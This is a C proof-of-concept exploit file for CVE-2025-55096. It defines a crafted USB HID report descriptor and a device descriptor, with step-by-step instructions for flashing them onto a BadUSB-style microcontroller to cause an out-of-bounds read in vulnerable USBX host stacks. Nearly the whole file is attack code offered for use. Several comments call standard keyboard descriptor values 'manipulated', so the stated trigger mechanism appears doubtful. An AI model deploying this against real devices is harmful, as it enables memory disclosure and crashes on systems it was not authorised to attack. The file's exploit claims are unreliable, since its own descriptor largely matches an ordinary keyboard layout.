// CVE-2025-55096 PoC - Malicious USB HID Report Descriptor
// This is a conceptual PoC demonstrating the out-of-bounds read trigger
// in _ux_host_class_hid_report_descriptor_get() of USBX < 6.4.3
//
// To exploit: Flash this descriptor onto a USB HID-capable device
// (e.g., a microcontroller-based USB device like STM32, Teensy, or
// a BadUSB-style hardware). When connected to a target running
// vulnerable USBX, the host will parse this descriptor and trigger
// the OOB read.
#include <stdint.h>
// Malicious HID Report Descriptor
// The key is to craft a descriptor with manipulated length fields
// that exceed the actual allocated buffer, causing OOB read in
// _ux_host_class_hid_report_descriptor_get()
static const uint8_t malicious_hid_report_descriptor[] = {
// Usage Page (Generic Desktop)
0x05, 0x01,
// Usage (Keyboard) - identifies as a HID keyboard
0x09, 0x06,
// Collection (Application)
0xA1, 0x01,
// Usage Page (Key Codes)
0x05, 0x07,
// Usage Minimum (224)
0x19, 0xE0,
// Usage Maximum (231) - manipulated to extend read scope
0x29, 0xE7,
// Logical Minimum (0)
0x15, 0x00,
// Logical Maximum (255)
0x26, 0xFF, 0x00,
// Report Size (1)
0x75, 0x01,
// Report Count (8) - intentionally crafted length to trigger OOB
0x95, 0x08,
// Input (Data, Variable, Absolute) - Modifier byte
0x81, 0x02,
// Report Count (5) - further extending descriptor length
0x95, 0x05,
// Report Size (1)
0x75, 0x01,
// Input (Constant) - Reserved
0x81, 0x01,
// Report Count (6)
0x95, 0x06,
// Report Size (8)
0x75, 0x08,
// Input (Data, Variable, Absolute) - Key arrays (6 bytes)
0x81, 0x02,
// End Collection
0xC0,
// Additional padding with crafted length bytes to trigger OOB read
// These bytes will cause the parser to read beyond buffer boundaries
0x06, 0x00, 0xFF, // Usage Page (Vendor Defined 0xFF00)
0x09, 0x01, // Usage (Vendor Usage 1)
0xA1, 0x01, // Collection (Application)
0x85, 0xFF, // Report ID (255)
0x95, 0xFF, // Report Count (255) - OOB trigger
0x75, 0x08, // Report Size (8)
0x81, 0x02, // Input (Data, Variable, Absolute)
0xC0 // End Collection
};
// Device descriptor for the malicious USB HID device
static const uint8_t device_descriptor[] = {
0x12, // bLength: 18 bytes
0x01, // bDescriptorType: DEVICE
0x10, 0x01, // bcdUSB: USB 1.1
0x00, // bDeviceClass: Use class info in Interface Descriptor
0x00, // bDeviceSubClass
0x00, // bDeviceProtocol
0x08, // bMaxPacketSize0: 8 bytes
0x34, 0x12, // idVendor: 0x1234 (test vendor)
0x78, 0x56, // idProduct: 0x5678
0x00, 0x01, // bcdDevice: 1.00
0x01, // iManufacturer
0x02, // iProduct
0x00, // iSerialNumber
0x01 // bNumConfigurations: 1
};
/*
* Exploitation Steps:
* 1. Program a USB-capable microcontroller (e.g., STM32, RP2040, Teensy)
* with the above descriptors to emulate a malicious HID device.
* 2. Connect the malicious device to the target system running USBX < 6.4.3.
* 3. The USBX host stack will enumerate the device and call
* _ux_host_class_hid_report_descriptor_get() to parse the report descriptor.
* 4. The crafted length fields (Report Count = 255, etc.) cause the parser
* to read beyond the allocated descriptor buffer, triggering OOB read.
* 5. Sensitive data from adjacent memory may be exposed, and/or the system
* may crash due to the out-of-bounds access.
*
* Note: Physical access to the target's USB port is required (AV:P).
*/